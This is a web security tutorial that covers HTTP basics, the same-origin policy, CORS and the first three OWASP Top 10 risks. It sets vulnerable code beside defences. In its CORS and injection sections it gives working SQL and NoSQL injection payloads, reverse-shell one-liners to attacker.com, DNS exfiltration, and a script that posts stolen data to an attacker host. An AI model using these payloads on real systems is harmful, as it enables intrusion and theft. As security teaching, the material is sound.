NullSector NullSector

Web Security Fundamentals

Every web application is a fortress built on sand. Understanding the fundamental architecture, protocols, and trust models of the web is the first step to exploiting the cracks in that foundation. Before you can break applications, you need to understand how they're built and where they inevitably fail.

How Web Applications Work: The Foundation

Web applications are distributed systems that rely on a client-server architecture. The client (browser) sends requests to the server, which processes them and returns responses. This seemingly simple exchange is the foundation upon which all web security - and web exploitation - is built.

The Restaurant Metaphor

Think of a web application like a restaurant. The browser is the customer, the HTTP request is the order, the server is the kitchen, and the HTTP response is the meal delivered. Just as a customer can order things not on the menu or try to sneak into the kitchen, attackers can craft malicious requests to exploit server logic.

The HTTP Request-Response Cycle

Every interaction with a web application follows this cycle:

1. Client opens TCP connection to server (usually port 80 or 443) 2. Client sends HTTP request 3. Server processes request 4. Server sends HTTP response 5. Connection closes (or stays open with Keep-Alive)

Example: Basic HTTP Request

GET /api/users/123 HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 Accept: application/json Cookie: session=abc123def456 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Anatomy of an HTTP Request

Every HTTP request contains critical information that can be manipulated:

Component Description Attack Surface
Method GET, POST, PUT, DELETE, etc. Method tampering, HTTP verb confusion
URL Path and query parameters Path traversal, parameter pollution, injection
Headers Metadata about request Header injection, smuggling, host header attacks
Body Data sent with POST/PUT Injection attacks, deserialization, XXE
Cookies Session and tracking data Session hijacking, fixation, CSRF

HTTP Response Structure

The server's response is equally important for security:

Example: HTTP Response

HTTP/1.1 200 OK Content-Type: application/json Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict X-Content-Type-Options: nosniff X-Frame-Options: DENY Content-Security-Policy: default-src 'self' {"user": {"id": 123, "name": "Alice", "role": "admin"}}

Status Codes: Information Leakage Points

HTTP status codes can reveal system behavior:

2xx - Success

200 OK - Request succeeded
201 Created - Resource created
204 No Content - Success but no body

3xx - Redirection

301 Moved Permanently - Permanent redirect
302 Found - Temporary redirect
304 Not Modified - Use cached version

4xx - Client Errors

400 Bad Request - Malformed request
401 Unauthorized - Auth required
403 Forbidden - Access denied
404 Not Found - Resource doesn't exist

5xx - Server Errors

500 Internal Server Error - Server crashed
502 Bad Gateway - Upstream error
503 Service Unavailable - Temporary outage

⚠️ Information Leakage Through Status Codes

Different status codes for "user doesn't exist" (404) vs "wrong password" (401) allow username enumeration. Always return the same error for authentication failures.

Attack Surface Analysis: Finding Weaknesses

The attack surface is every point where an application accepts input or exposes functionality. Larger attack surfaces mean more opportunities for exploitation.

Identifying Attack Vectors

Every input field, URL parameter, header, and API endpoint is a potential attack vector:

// URL Parameters https://example.com/profile?user_id=123&debug=true // POST Body {"username": "admin", "password": "' OR '1'='1"} // HTTP Headers X-Forwarded-For: 127.0.0.1 Referer: javascript:alert(document.cookie) // Cookies session=eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ. // File Uploads filename="../../etc/passwd" content-type: application/x-php

The Attack Surface Map

A comprehensive attack surface includes:

Surface Area Entry Points Common Vulnerabilities
Client-Side JavaScript, DOM, localStorage, cookies XSS, DOM-based attacks, client-side validation bypass
Server-Side API endpoints, forms, authentication SQLi, command injection, authentication bypass
Infrastructure Web server, database, CDN, cloud services Misconfigurations, outdated software, exposed services
Third-Party APIs, libraries, plugins, dependencies Supply chain attacks, vulnerable dependencies
Business Logic Workflows, state transitions, access controls Logic flaws, race conditions, privilege escalation

Reconnaissance: Mapping the Surface

Before attacking, you must map the application:

Attack Surface Discovery Process

  1. Crawl and Spider - Map all pages and endpoints
  2. Parameter Discovery - Find hidden parameters and values
  3. Technology Fingerprinting - Identify frameworks, libraries, versions
  4. API Enumeration - Discover documented and undocumented APIs
  5. JavaScript Analysis - Extract endpoints from client-side code
  6. Directory Brute-Forcing - Find hidden directories and files
# Example: Discovering hidden parameters GET /api/users?id=123 GET /api/users?id=123&debug=true GET /api/users?id=123&admin=true GET /api/users?id=123&internal=true # JavaScript endpoint extraction fetch('/api/internal/admin/users') fetch('/api/v2/debug/logs') fetch('/api/legacy/export?format=xml')

The Security Mindset: Think Like an Attacker

Security isn't about following a checklist - it's about adopting an adversarial mindset. Every feature is a potential vulnerability. Every assumption is a weakness.

The Locksmith vs The Burglar

Developers are locksmiths - they design locks to keep people out. Hackers are burglars - they find ways to pick those locks. A good security professional must be both: building locks while constantly trying to pick them.

Core Principles of the Security Mindset

πŸ” Assume Breach

Operate under the assumption that the system is already compromised. Defense in depth means even if one layer fails, others still protect you.

🚫 Never Trust Input

All user input is hostile until proven otherwise. Validate, sanitize, and escape everything. Client-side validation is theater, not security.

πŸ” Principle of Least Privilege

Every user, process, and component should have the minimum permissions needed to function. Excessive permissions multiply the impact of compromise.

πŸ›‘οΈ Fail Securely

When something breaks, fail closed, not open. Errors shouldn't grant access or expose information. Graceful degradation means secure degradation.

πŸ•΅οΈ Security Through Obscurity is Not Security

Hidden APIs, obscure parameter names, and secret URLs aren't security measures. Real security works even when the attacker knows the system.

⚑ Attack the Assumptions

Every developer makes assumptions. "Users won't do that." "This parameter is always a number." Attack those assumptions.

Questions to Ask When Assessing Security

Train yourself to automatically ask these questions:

The Hacker's Checklist

  • What happens if I send a negative number?
  • What if I send 1 million characters?
  • Can I access this without authentication?
  • What if I change this ID to someone else's?
  • Can I inject special characters here?
  • What happens if I send this request twice simultaneously?
  • Can I upload a file with a dangerous extension?
  • What if I manipulate the client-side validation?
  • Can I force the application into an unexpected state?
  • What information leaks from error messages?

Common Vulnerability Patterns

While each vulnerability is unique, they often follow recognizable patterns. Understanding these patterns lets you spot vulnerabilities faster.

Pattern 1: Input Validation Failures

The most common pattern: trusting user input.

// Vulnerable: Direct SQL query with user input query = "SELECT * FROM users WHERE id = " + user_id // Vulnerable: Command execution with user input os.system("ping " + user_supplied_host) // Vulnerable: Direct HTML output <div>Welcome, <?php echo $_GET['name']; ?></div> // Vulnerable: Deserialization of untrusted data user_object = pickle.loads(cookie_value)

Pattern 2: Authentication and Authorization Flaws

Weak or missing checks on identity and permissions:

// Vulnerable: No authentication check function deleteUser(user_id) { db.delete("users", user_id) } // Vulnerable: Client-side role check only if (document.cookie.includes("role=admin")) { showAdminPanel() } // Vulnerable: Insecure direct object reference GET /api/documents/12345 // No check if user owns document 12345

Pattern 3: Logic Flaws

Code that works as programmed but fails under edge cases:

// Vulnerable: Race condition in coupon application if (coupon.used_count < coupon.max_uses) { // Attacker sends 100 simultaneous requests here coupon.used_count++ apply_discount() } // Vulnerable: Integer overflow if (user.balance - purchase.amount >= 0) { // What if purchase.amount is negative? process_purchase() }

Pattern 4: Information Disclosure

Revealing data that aids further attacks:

// Vulnerable: Detailed error messages catch (Exception e) { return "Database error: " + e.getMessage() // Reveals table structure, column names, SQL syntax } // Vulnerable: Directory listing enabled http://example.com/admin/ # Shows all admin panel files // Vulnerable: Verbose debug information X-Debug: Query took 2.3s, 15 database calls X-Server: Apache/2.4.41 (Ubuntu) PHP/7.4.3

Pattern 5: Configuration Errors

Insecure defaults and misconfigurations:

// Default credentials still active admin:admin root:password // Debug mode in production app.debug = True RAILS_ENV = development // Open database ports MongoDB listening on 0.0.0.0:27017 (no auth) Redis on public IP (no password)

HTTP Security Headers: Your First Line of Defense

Security headers tell the browser how to behave when handling your application's content. They're simple to implement but incredibly powerful.

Critical Security Headers Explained

Content-Security-Policy (CSP)

Controls which resources the browser can load and execute. The most powerful defense against XSS.

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-rAnd0m'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.example.com

What it does: Only allows scripts from your domain or with a specific nonce, blocks inline event handlers, restricts image sources.

X-Frame-Options

Prevents your site from being embedded in an iframe, protecting against clickjacking.

X-Frame-Options: DENY X-Frame-Options: SAMEORIGIN

Use case: Prevents attackers from overlaying invisible iframes over your login form to steal credentials.

Strict-Transport-Security (HSTS)

Forces browsers to always use HTTPS, protecting against downgrade attacks.

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Effect: Browser automatically upgrades HTTP requests to HTTPS for 1 year, even if user types http://.

X-Content-Type-Options

Prevents MIME type sniffing.

X-Content-Type-Options: nosniff

Why it matters: Stops browsers from executing a file with Content-Type: text/plain as JavaScript if it looks like script code.

Referrer-Policy

Controls how much referrer information is sent with requests.

Referrer-Policy: strict-origin-when-cross-origin

Privacy benefit: Prevents leaking sensitive URL parameters to third-party sites.

Permissions-Policy

Controls which browser features the application can use.

Permissions-Policy: camera=(), microphone=(), geolocation=(self)

Protection: Prevents malicious scripts from accessing sensitive browser APIs.

Complete Security Headers Example

HTTP/1.1 200 OK Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-2726c7f26c'; object-src 'none'; base-uri 'self'; frame-ancestors 'none' X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Permissions-Policy: camera=(), microphone=(), geolocation=() Strict-Transport-Security: max-age=63072000; includeSubDomains; preload X-XSS-Protection: 0

⚠️ Headers Alone Aren't Enough

Security headers are defense in depth, not silver bullets. They protect against exploitation but don't fix the underlying vulnerabilities. Still use proper input validation, output encoding, and secure coding practices.

Same-Origin Policy (SOP): The Web's Security Foundation

The Same-Origin Policy is the fundamental security model of the web. It prevents scripts from one origin from accessing data from another origin. Without SOP, any website could read your emails, bank balance, and private messages.

What is an "Origin"?

An origin is defined by three components:

Origin = Scheme + Host + Port https://example.com:443/page1 https://example.com:443/page2 βœ“ Same origin https://example.com:443 http://example.com:443 βœ— Different scheme https://api.example.com:443 βœ— Different host https://example.com:8080 βœ— Different port

SOP in Action

A script from https://evil.com cannot:

  • Read cookies from https://bank.com
  • Make AJAX requests to https://bank.com and read the response
  • Access localStorage or sessionStorage from https://bank.com
  • Read the DOM of an iframe from https://bank.com

What SOP Does and Doesn't Block

Action Blocked by SOP? Explanation
Reading response from cross-origin AJAX βœ“ Yes Request is sent but response can't be read
Sending cross-origin AJAX request βœ— No Request is sent (this enables CSRF attacks)
Loading cross-origin images βœ— No Can display but can't read pixel data
Loading cross-origin scripts βœ— No Scripts execute with source origin permissions
Reading cross-origin iframe DOM βœ“ Yes Complete isolation between origins

The Hotel Room Metaphor

Think of each origin as a hotel room. SOP is the rule that you can't open other people's doors and look inside. You can knock on their door (send a request), but you can't see their response unless they invite you in (via CORS). However, you CAN throw things under their door (CSRF attacks).

SOP Bypass Techniques (That Lead to Vulnerabilities)

Attackers constantly try to bypass SOP:

// Technique 1: JSONP callback injection <script src="https://api.example.com/data?callback=malicious_function"></script> // Technique 2: PostMessage exploitation window.addEventListener('message', function(e) { // If origin checking is missing, any site can send messages eval(e.data); // DANGEROUS }); // Technique 3: DNS rebinding // evil.com resolves to attacker IP, then switches to 127.0.0.1 // Technique 4: Open redirect chains https://trusted.com/redirect?url=https://evil.com

CORS Explained: Controlled Origin Sharing

Cross-Origin Resource Sharing (CORS) is the mechanism that allows controlled relaxation of the Same-Origin Policy. It's powerful but frequently misconfigured.

How CORS Works

The browser sends a preflight OPTIONS request to check permissions:

// Browser sends preflight OPTIONS /api/data HTTP/1.1 Host: api.example.com Origin: https://webapp.com Access-Control-Request-Method: POST Access-Control-Request-Headers: Content-Type // Server responds with allowed origins HTTP/1.1 200 OK Access-Control-Allow-Origin: https://webapp.com Access-Control-Allow-Methods: GET, POST Access-Control-Allow-Headers: Content-Type Access-Control-Max-Age: 86400 // If approved, actual request proceeds POST /api/data HTTP/1.1 Host: api.example.com Origin: https://webapp.com

Critical CORS Headers

Header Purpose Security Impact
Access-Control-Allow-Origin Specifies allowed origins ❌ * allows any origin - dangerous with credentials
Access-Control-Allow-Credentials Allows cookies to be sent ⚠️ Never use with Allow-Origin: *
Access-Control-Allow-Methods Permitted HTTP methods Restrict to necessary methods only
Access-Control-Allow-Headers Permitted custom headers Limit to required headers

Common CORS Misconfigurations

❌ Dangerous: Reflect Any Origin

// Vulnerable server code origin = request.headers['Origin'] response.headers['Access-Control-Allow-Origin'] = origin response.headers['Access-Control-Allow-Credentials'] = 'true'

Impact: Any website can make authenticated requests and read responses. Complete SOP bypass.

❌ Dangerous: Wildcard with Credentials

Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true

Impact: Browsers reject this but shows misconfiguration. Intent was to allow everything with cookies - extremely dangerous.

⚠️ Risky: Weak Origin Validation

// Vulnerable: Checks if origin contains trusted domain if ('trusted.com' in origin) { allow(origin) // Matches evil-trusted.com, trusted.com.evil.com }

Proper validation: Use exact match or regex with anchors: ^https://trusted\.com$

Secure CORS Configuration

// Secure example: Whitelist specific origins allowed_origins = [ 'https://app.example.com', 'https://mobile.example.com' ] origin = request.headers.get('Origin') if origin in allowed_origins: response.headers['Access-Control-Allow-Origin'] = origin response.headers['Access-Control-Allow-Credentials'] = 'true' response.headers['Access-Control-Allow-Methods'] = 'GET, POST' response.headers['Access-Control-Max-Age'] = '3600' else: # Deny CORS request response.status = 403

CORS Pre-flight Requests

Not all requests trigger a preflight. Simple requests (GET, HEAD, POST with simple headers) skip preflight:

Simple Request Criteria

  • Methods: GET, HEAD, POST
  • Headers: Accept, Accept-Language, Content-Language, Content-Type (limited values)
  • Content-Type: application/x-www-form-urlencoded, multipart/form-data, or text/plain

Security implication: Simple POST requests bypass preflight, enabling CSRF attacks even with CORS.

Real-World CORS Attack Example

// Vulnerable API reflects any origin // Attacker hosts this on evil.com: <script> fetch('https://api.victim.com/user/data', { credentials: 'include' // Send victim's cookies }) .then(r => r.json()) .then(data => { // Exfiltrate victim's data fetch('https://attacker.com/steal', { method: 'POST', body: JSON.stringify(data) }); }); </script> // If CORS is misconfigured, this works and steals user data

Key Takeaways: CORS Security

  • βœ… Whitelist specific origins, never reflect untrusted origins
  • βœ… Avoid Access-Control-Allow-Origin: * for authenticated endpoints
  • βœ… Validate origin with exact match or strict regex
  • βœ… Use Access-Control-Max-Age to cache preflight responses
  • βœ… Minimize exposed methods and headers
  • ❌ Never combine wildcards with credentials
  • ❌ Don't trust the Origin header for authentication

The Security Gate Analogy

SOP is a massive wall around your data. CORS is a security gate you install in that wall. The gate can be configured properly (checking IDs, maintaining a guest list) or poorly (letting anyone in who asks nicely). Most breaches happen because someone configured the gate to just always stay open.

OWASP Top 10 Deep Dive

The OWASP Top 10 isn't just a checklist - it's a roadmap of the most critical and prevalent vulnerabilities found in modern web applications. These aren't theoretical risks; they're the vulnerabilities actively exploited in the wild, costing organizations millions and exposing billions of user records.

The Security Hierarchy

Think of the OWASP Top 10 as the "Most Wanted" list of web vulnerabilities. Just like law enforcement focuses on the most dangerous criminals, security professionals prioritize these vulnerabilities because they're the most common, most impactful, and most actively exploited. They represent the intersection of what's easy to exploit and what causes the most damage.

1. Broken Access Control

Broken Access Control is the #1 vulnerability for a reason - it's everywhere. Access control enforces policy such that users cannot act outside of their intended permissions. When it breaks, users can access functionality and data they shouldn't, from viewing other users' accounts to performing administrative actions as a regular user.

The Core Problem

Applications check if you're logged in, but they don't properly verify what you're allowed to do once authenticated. It's like a nightclub that checks IDs at the door but then lets everyone access the VIP section, the DJ booth, and the cash register.

Common Access Control Vulnerabilities

Insecure Direct Object Reference (IDOR)

IDOR occurs when an application exposes a reference to an internal object (like a database key) without proper authorization checks. Attackers can simply modify the reference to access unauthorized data.

// Vulnerable endpoint - no authorization check GET /api/user/profile?id=1234 β†’ Returns user 1234's profile GET /api/user/profile?id=1235 β†’ Returns user 1235's profile (unauthorized!) // Real-world example GET /api/invoice/download?invoice_id=9876 β†’ Downloads invoice 9876 // Attacker changes ID GET /api/invoice/download?invoice_id=9875 β†’ Downloads someone else's invoice // Path traversal variation GET /api/documents/5678/view β†’ Document 5678 GET /api/documents/5677/view β†’ Another user's private document

Horizontal Privilege Escalation

Accessing resources belonging to other users at the same privilege level. You're a regular user accessing another regular user's data.

// Vulnerable user settings endpoint POST /user/settings/update { "user_id": "victim@email.com", "email": "attacker@evil.com" } β†’ Updates victim's email to attacker's // Order history exposure GET /orders/history?username=john β†’ Shows John's orders GET /orders/history?username=admin β†’ Shows admin's orders (horizontal escalation)

Vertical Privilege Escalation

The holy grail of access control vulnerabilities - escalating from a low-privilege user to administrator or system-level access.

// Vulnerable role assignment POST /api/user/update { "username": "attacker", "email": "attacker@evil.com", "role": "admin" // ← Application doesn't validate this! } // Function-level access control bypass GET /user/dashboard β†’ Regular user dashboard GET /admin/dashboard β†’ Admin dashboard (should be blocked, but isn't!) // Parameter manipulation POST /api/delete-user { "user_id": "123", "is_admin": "true" // Added by attacker } β†’ Application trusts client-provided admin flag

Missing Function Level Access Control

Administrative functions are exposed but rely on security through obscurity - if you know the URL, you can access it.

// Administrative functions not properly secured GET /admin/users/list β†’ Should require admin auth, but only checks if logged in POST /api/admin/delete-account β†’ Exposed endpoint, no admin verification GET /debug/config β†’ Debug endpoints left in production // Real-world critical example POST /api/internal/promote-to-admin { "user_id": "attacker" } β†’ Internal endpoint left exposed

Real-World Exploitation Scenario

// Step 1: Reconnaissance - Discover your own account structure GET /api/account/details Response: { "account_id": "ACC-123456", "user_id": "u_89765", "email": "attacker@example.com", "balance": 100.00, "account_type": "standard" } // Step 2: Test for IDOR GET /api/account/details?account_id=ACC-123455 β†’ If returns data = IDOR vulnerability! // Step 3: Enumerate accounts for i in range(123400, 123500): GET /api/account/details?account_id=ACC-{i} # Collect all accessible account data // Step 4: Test privilege escalation POST /api/account/upgrade { "account_id": "ACC-123456", "account_type": "premium" // Try to self-upgrade } // Step 5: Test admin functions GET /api/admin/users/export // Try without admin session POST /api/admin/create-user POST /api/admin/financial-reports

⚠️ Impact of Broken Access Control

Data Breaches: Entire databases exposed through IDOR enumeration

Account Takeover: Access to other users' accounts and sessions

Financial Loss: Unauthorized transactions, balance manipulation

Compliance Violations: GDPR, HIPAA, PCI-DSS breaches

Complete System Compromise: Privilege escalation to admin/root

Defense Against Broken Access Control

// Proper access control implementation // 1. Server-side validation (NEVER trust client) function getAccountDetails(accountId, currentUser) { // Verify ownership const account = db.getAccount(accountId); if (account.owner_id !== currentUser.id && !currentUser.isAdmin) { throw new UnauthorizedError(); } return account; } // 2. Use indirect references // Instead of: /api/invoice/download?id=9876 // Use: /api/invoice/download?token=8a4f9c2b1e3d // Token maps to invoice + user validation server-side // 3. Deny by default function adminAction() { // Explicit allow-list if (!user.hasRole('ADMIN')) { throw new ForbiddenError(); } // Perform admin action } // 4. Attribute-based access control (ABAC) function canAccessDocument(user, document) { return ( document.owner === user.id || document.sharedWith.includes(user.id) || user.hasPermission('documents.read.all') ); }

2. Cryptographic Failures

Previously known as "Sensitive Data Exposure," cryptographic failures occur when applications fail to properly protect sensitive data in transit or at rest. This includes using weak encryption, improper key management, or not encrypting sensitive data at all.

The Safe Analogy

Imagine storing all your valuables in a safe, but using "1234" as the combination, leaving the combination written on a sticky note, or worse - leaving the safe door open. That's cryptographic failure. You have the security mechanism, but you're using it wrong or not using it at all.

Common Cryptographic Failures

Transmitting Sensitive Data in Clear Text

Sending passwords, credit card numbers, or personal information over unencrypted HTTP connections.

// Vulnerable: Login over HTTP POST http://example.com/login Content-Type: application/x-www-form-urlencoded username=admin&password=SuperSecret123 β†’ Transmitted in plaintext, visible to anyone sniffing traffic // Attack: Man-in-the-Middle (MITM) # Attacker on same network intercepts with Wireshark/tcpdump $ tcpdump -i wlan0 -A | grep password β†’ password=SuperSecret123 // Vulnerable API calls GET http://api.example.com/user/profile Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... β†’ Token exposed in plaintext

Using Weak or Deprecated Cryptographic Algorithms

MD5, SHA1, DES, and other outdated algorithms that are computationally feasible to break.

// Vulnerable: MD5 password hashing const crypto = require('crypto'); const password = 'userPassword123'; const hash = crypto.createHash('md5').update(password).digest('hex'); // MD5 is broken - can be rainbow-tabled or collision-attacked // Vulnerable: DES encryption (56-bit key) const cipher = crypto.createCipher('des', 'weakkey'); // DES can be brute-forced in hours // Vulnerable: ECB mode (pattern preservation) const cipher = crypto.createCipheriv('aes-128-ecb', key, null); // ECB mode reveals patterns in encrypted data // Real-world example: SHA1 collision // Two different inputs producing same hash document1 = "malicious_content" document2 = "legitimate_content" // Attacker creates collision where SHA1(document1) === SHA1(document2)

Hardcoded Cryptographic Keys

Storing encryption keys, API secrets, or credentials directly in source code.

// Vulnerable: Hardcoded secrets const JWT_SECRET = "super-secret-key-12345"; const API_KEY = "sk_test_EXAMPLE_KEY_DO_NOT_USE"; const DB_PASSWORD = "admin123"; // These get committed to Git, exposed in: // - GitHub repositories (public or private) // - Client-side JavaScript bundles // - Decompiled mobile apps // - Configuration files // Attack: GitHub secrets scanning $ git clone https://github.com/company/app.git $ grep -r "API_KEY\|SECRET\|PASSWORD" . β†’ Finds all hardcoded secrets // Tool: truffleHog for secrets detection $ trufflehog --regex --entropy=True repo_url

Insufficient Key Length or Entropy

Using cryptographic keys that are too short to provide adequate security.

// Vulnerable: Weak RSA key const { generateKeyPairSync } = require('crypto'); const { publicKey, privateKey } = generateKeyPairSync('rsa', { modulusLength: 512 // Way too short! Should be 2048+ bits }); // Vulnerable: Predictable IV (Initialization Vector) const iv = Buffer.from('1234567890123456'); // Static IV = bad const cipher = crypto.createCipheriv('aes-256-cbc', key, iv); // Same IV allows pattern detection // Vulnerable: Weak random number generation const sessionId = Math.random().toString(36).substring(7); // Math.random() is NOT cryptographically secure // Proper cryptographic randomness const crypto = require('crypto'); const token = crypto.randomBytes(32).toString('hex');

Improper Certificate Validation

Not properly validating SSL/TLS certificates, allowing man-in-the-middle attacks.

// Vulnerable: Disabling certificate validation const https = require('https'); const agent = new https.Agent({ rejectUnauthorized: false // NEVER DO THIS! }); https.get('https://api.example.com', { agent }, (res) => { // This accepts ANY certificate, even self-signed or expired }); // Vulnerable: Not validating hostname const options = { hostname: 'api.example.com', checkServerIdentity: () => undefined // Disables hostname check }; // Attack vector: Certificate substitution // Attacker presents valid cert for different domain // Without proper validation, MITM succeeds

Real-World Exploitation: Crypto Attack Chain

// Scenario: E-commerce application with crypto failures // 1. Reconnaissance - Check for HTTPS $ curl -I http://shop.example.com/checkout β†’ No redirect to HTTPS = vulnerable to MITM // 2. Intercept traffic (attacker on same WiFi) $ ettercap -T -M arp:remote /gateway_ip// /victim_ip// $ wireshark β†’ Capture plaintext credit card data // 3. Check for weak crypto in exposed endpoints GET /api/user/token Response: {"token": "dXNlcjEyMzQ1"} // Base64, not encryption! $ echo "dXNlcjEyMzQ1" | base64 -d β†’ "user12345" (encoding β‰  encryption) // 4. Test password storage POST /api/forgot-password Response: {"temp_password": "4a7d1ed4..."} $ echo "4a7d1ed4..." | md5 lookup β†’ Original password revealed (MD5 hash cracked) // 5. Extract hardcoded keys from JavaScript $ curl https://shop.example.com/bundle.js | grep -i "api.key\|secret" β†’ const API_KEY = "pk_live_123xyz" // 6. Clone database, crack password hashes $ hashcat -m 0 -a 0 hashes.txt rockyou.txt β†’ Crack MD5 hashes with dictionary attack β†’ 75% success rate on weak passwords

⚠️ Impact of Cryptographic Failures

Data Breaches: Passwords, credit cards, health records exposed

Compliance Violations: PCI-DSS, HIPAA, GDPR fines (up to 4% revenue)

Identity Theft: Stolen SSNs, personal information sold on dark web

Session Hijacking: Tokens intercepted and replayed

Reputation Damage: Loss of customer trust, brand damage

Proper Cryptographic Implementation

// 1. Use TLS 1.2+ for all data in transit // Force HTTPS redirect app.use((req, res, next) => { if (!req.secure) { return res.redirect(301, 'https://' + req.hostname + req.url); } next(); }); // Set security headers app.use(helmet.hsts({ maxAge: 31536000, includeSubDomains: true, preload: true })); // 2. Use strong, modern encryption const crypto = require('crypto'); // AES-256-GCM (authenticated encryption) function encrypt(plaintext, key) { const iv = crypto.randomBytes(16); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); let encrypted = cipher.update(plaintext, 'utf8', 'hex'); encrypted += cipher.final('hex'); const authTag = cipher.getAuthTag(); return { encrypted, iv, authTag }; } // 3. Proper password hashing const bcrypt = require('bcrypt'); const saltRounds = 12; // Adaptive cost factor async function hashPassword(password) { return await bcrypt.hash(password, saltRounds); } // Alternative: Argon2 (winner of Password Hashing Competition) const argon2 = require('argon2'); const hash = await argon2.hash(password, { type: argon2.argon2id, memoryCost: 2 ** 16, timeCost: 3, parallelism: 1 }); // 4. Secure key management // Use environment variables or key management services const encryptionKey = process.env.ENCRYPTION_KEY; // Better: Use cloud key management const { KMS } = require('aws-sdk'); const kms = new KMS(); const decrypted = await kms.decrypt({ CiphertextBlob: encryptedKey }).promise();

3. Injection

Injection flaws occur when untrusted data is sent to an interpreter as part of a command or query. SQL injection, NoSQL injection, OS command injection, and LDAP injection all stem from the same root cause: the application trusts user input and doesn't properly validate or sanitize it before execution.

The Malicious Interpreter

Imagine you're filling out a form, and instead of writing your name, you write instructions that the person reading the form blindly follows. That's injection. You're not just providing data - you're providing commands disguised as data, and the application executes them without questioning.

SQL Injection: The Crown Jewel

Basic SQL Injection

The most common and devastating injection attack - manipulating SQL queries to access or modify database data.

// Vulnerable code - String concatenation const username = req.body.username; const password = req.body.password; const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`; db.query(query); // Attack payload in username field username: admin' OR '1'='1 password: anything // Resulting query SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything' β†’ Always returns true, bypasses authentication! // Alternative authentication bypass username: admin'-- password: [ignored] // Resulting query SELECT * FROM users WHERE username = 'admin'--' AND password = '' β†’ Comment (--) ignores password check

Union-Based SQL Injection

Extracting data from other tables by combining results with UNION statements.

// Vulnerable search endpoint GET /products?id=5 Query: SELECT name, price FROM products WHERE id = 5 // Attack: Discover column count GET /products?id=5 UNION SELECT NULL-- GET /products?id=5 UNION SELECT NULL,NULL-- GET /products?id=5 UNION SELECT NULL,NULL,NULL-- β†’ Error disappears when column count matches // Extract data from other tables GET /products?id=5 UNION SELECT username,password FROM users-- Resulting query: SELECT name, price FROM products WHERE id = 5 UNION SELECT username, password FROM users-- β†’ Dumps entire users table! // Extract database information UNION SELECT table_name, NULL FROM information_schema.tables-- UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users'--

Blind SQL Injection

Extracting data when the application doesn't return query results, using true/false conditions or time delays.

// Boolean-based blind SQLi GET /user?id=1 AND 1=1-- β†’ Page loads normally (TRUE) GET /user?id=1 AND 1=2-- β†’ Page different or error (FALSE) // Extract data one bit at a time GET /user?id=1 AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'-- β†’ If true: first character is 'a' β†’ If false: try next character // Automated extraction for char in charset: for position in range(1, max_length): payload = f"1 AND SUBSTRING((SELECT password FROM users LIMIT 1),{position},1)='{char}'" if check_true_condition(payload): password += char // Time-based blind SQLi (when no visible difference) GET /user?id=1 AND IF(1=1, SLEEP(5), 0)-- β†’ Response delayed 5 seconds = TRUE GET /user?id=1 AND IF((SELECT COUNT(*) FROM users)>10, SLEEP(5), 0)-- β†’ Delayed if more than 10 users exist // Extract admin password character by character GET /user?id=1 AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a',SLEEP(3),0)--

Second-Order SQL Injection

Payload is stored in the database and executed later when retrieved and used in another query.

// Step 1: Register with malicious username POST /register { "username": "admin'--", "email": "attacker@evil.com", "password": "password123" } β†’ Stored in database: username = "admin'--" // Step 2: Application retrieves username and uses it unsafely // Admin panel shows user activity function getUserActivity(username) { // Retrieved from database: username = "admin'--" query = `SELECT * FROM activity_log WHERE user = '${username}'`; // Becomes: SELECT * FROM activity_log WHERE user = 'admin'--' // Comments out rest of query! }

NoSQL Injection

MongoDB, CouchDB, and other NoSQL databases have their own injection vulnerabilities.

// Vulnerable MongoDB query POST /login { "username": "admin", "password": "password" } db.users.find({ username: req.body.username, password: req.body.password }); // Attack: Object injection POST /login { "username": "admin", "password": {"$ne": null} } // Resulting query db.users.find({ username: "admin", password: {"$ne": null} // "not equal to null" = always true! }) β†’ Bypasses authentication // More advanced NoSQL injection POST /search { "username": {"$regex": "^admin"}, // Regex injection "role": {"$gt": ""} // Greater than empty = all roles } // JavaScript injection in MongoDB { "$where": "function() { return this.username == 'admin' || '1'=='1' }" }

OS Command Injection

Executing arbitrary operating system commands through vulnerable application inputs.

// Vulnerable: Ping utility GET /ping?host=google.com const host = req.query.host; exec(`ping -c 4 ${host}`, (error, stdout) => { res.send(stdout); }); // Attack: Command chaining GET /ping?host=google.com; cat /etc/passwd β†’ Executes: ping -c 4 google.com; cat /etc/passwd GET /ping?host=google.com && whoami β†’ Executes: ping -c 4 google.com && whoami GET /ping?host=google.com | nc attacker.com 4444 -e /bin/bash β†’ Reverse shell to attacker's machine! // Alternative injection vectors host=`whoami` # Command substitution host=$(whoami) # Command substitution host=127.0.0.1%0awhoami # Newline injection (%0a = \n)

Advanced Command Injection

// Bypassing input filters // Filter blocks: ; & | ` $ // Use newline injection host=127.0.0.1%0awhoami // Use carriage return host=127.0.0.1%0dwhoami // Blind command injection with time delay host=127.0.0.1||sleep 5 β†’ If response delayed, injection works! // DNS exfiltration (for blind injection) host=127.0.0.1||nslookup `whoami`.attacker.com β†’ DNS query sends data to attacker's DNS server // Real-world reverse shell GET /ping?host=google.com;bash -i >& /dev/tcp/attacker.com/4444 0>&1 // Or using Python GET /ping?host=google.com;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

⚠️ Impact of Injection Attacks

Complete Database Compromise: Read, modify, or delete all data

Authentication Bypass: Access any account including admin

Server Takeover: OS command execution leads to full control

Data Exfiltration: Extract sensitive data, customer information

Lateral Movement: Use compromised server to attack internal network

